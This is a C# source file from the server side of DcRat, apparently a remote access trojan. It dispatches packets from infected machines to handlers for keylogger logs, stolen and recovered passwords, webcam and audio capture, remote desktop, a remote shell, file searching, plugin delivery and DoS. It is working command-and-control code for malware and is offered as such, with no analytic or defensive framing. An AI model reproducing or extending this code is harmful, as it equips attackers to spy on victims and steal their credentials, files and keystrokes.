DcRat/Server/Handle Packet/Packet.cs

221 lines
8.6 KiB
C#

using Server.Connection;
using Server.MessagePack;
using System.Drawing;
using System.Windows.Forms;
using System.Threading;
using Server.Algorithm;
using System.IO;
using System.Diagnostics;
using System;
namespace Server.Handle_Packet
{
public class Packet
{
public Clients client;
public byte[] data;
public void Read(object o)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(data);
Program.form1.Invoke((MethodInvoker)(() =>
{
switch (unpack_msgpack.ForcePathObject("Pac_ket").AsString)
{
case "ClientInfo":
{
ThreadPool.QueueUserWorkItem(delegate {
new HandleListView().AddToListview(client, unpack_msgpack);
});
break;
}
case "Ping":
{
new HandlePing().Ping(client, unpack_msgpack);
client.LastPing = DateTime.Now;
break;
}
case "Po_ng":
{
new HandlePing().Po_ng(client, unpack_msgpack);
client.LastPing = DateTime.Now;
break;
}
case "Logs":
{
new HandleLogs().Addmsg($"From {client.Ip} client: {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black);
break;
}
case "thumbnails":
{
client.ID = unpack_msgpack.ForcePathObject("Hwid").AsString;
new HandleThumbnails(client, unpack_msgpack);
break;
}
case "Received":
{
new HandleListView().Received(client);
client.LastPing = DateTime.Now;
break;
}
case "Error":
{
new HandleLogs().Addmsg($"Error from {client.Ip} client: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red);
/*lock (Settings.LockListviewClients)
{
client.LV.ForeColor = Color.Empty;
}*/
break;
}
case "remoteDesktop":
{
new HandleRemoteDesktop().Capture(client, unpack_msgpack);
break;
}
case "processManager":
{
new HandleProcessManager().GetProcess(client, unpack_msgpack);
break;
}
case "netstat":
{
new HandleNetstat().GetProcess(client, unpack_msgpack);
break;
}
case "socketDownload":
{
new HandleFileManager().SocketDownload(client, unpack_msgpack);
break;
}
case "keyLogger":
{
new HandleKeylogger(client, unpack_msgpack);
break;
}
case "fileManager":
{
new HandleFileManager().FileManager(client, unpack_msgpack);
break;
}
case "shell":
{
new HandleShell(unpack_msgpack, client);
break;
}
case "chat":
{
new HandleChat().Read(unpack_msgpack, client);
break;
}
case "chat-":
{
new HandleChat().GetClient(unpack_msgpack, client);
break;
}
case "reportWindow":
{
new HandleReportWindow(client, unpack_msgpack.ForcePathObject("Report").AsString);
break;
}
case "reportWindow-":
{
if (Settings.ReportWindow == false)
{
MsgPack packet = new MsgPack();
packet.ForcePathObject("Pac_ket").AsString = "reportWindow";
packet.ForcePathObject("Option").AsString = "stop";
ThreadPool.QueueUserWorkItem(client.Send, packet.Encode2Bytes());
return;
}
lock (Settings.LockReportWindowClients)
Settings.ReportWindowClients.Add(client);
break;
}
case "webcam":
{
new HandleWebcam(unpack_msgpack, client);
break;
}
case "dosAdd":
{
new HandleDos().Add(client, unpack_msgpack);
break;
}
case "sendPlugin":
{
new HandleLogs().Addmsg($"Sending plugun to {client.Ip} ……", Color.Blue);
ThreadPool.QueueUserWorkItem(delegate {
client.SendPlugin(unpack_msgpack.ForcePathObject("Hashes").AsString);
});
break;
}
case "fileSearcher":
{
new HandleFileSearcher().SaveZipFile(client, unpack_msgpack);
break;
}
case "Information":
{
new HandleInformation().AddToInformationList(client, unpack_msgpack);
break;
}
case "Password":
{
new HandlePassword().SavePassword(client, unpack_msgpack);
break;
}
case "Audio":
{
new HandleAudio().SaveAudio(client, unpack_msgpack);
break;
}
case "recoveryPassword":
{
new HandleRecovery(client, unpack_msgpack);
break;
}
case "regManager":
{
new HandleRegManager().RegManager(client, unpack_msgpack);
break;
}
case "fun":
{
new HandleFun().Fun(client, unpack_msgpack);
break;
}
}
}));
}
catch
{
return;
}
}
}
}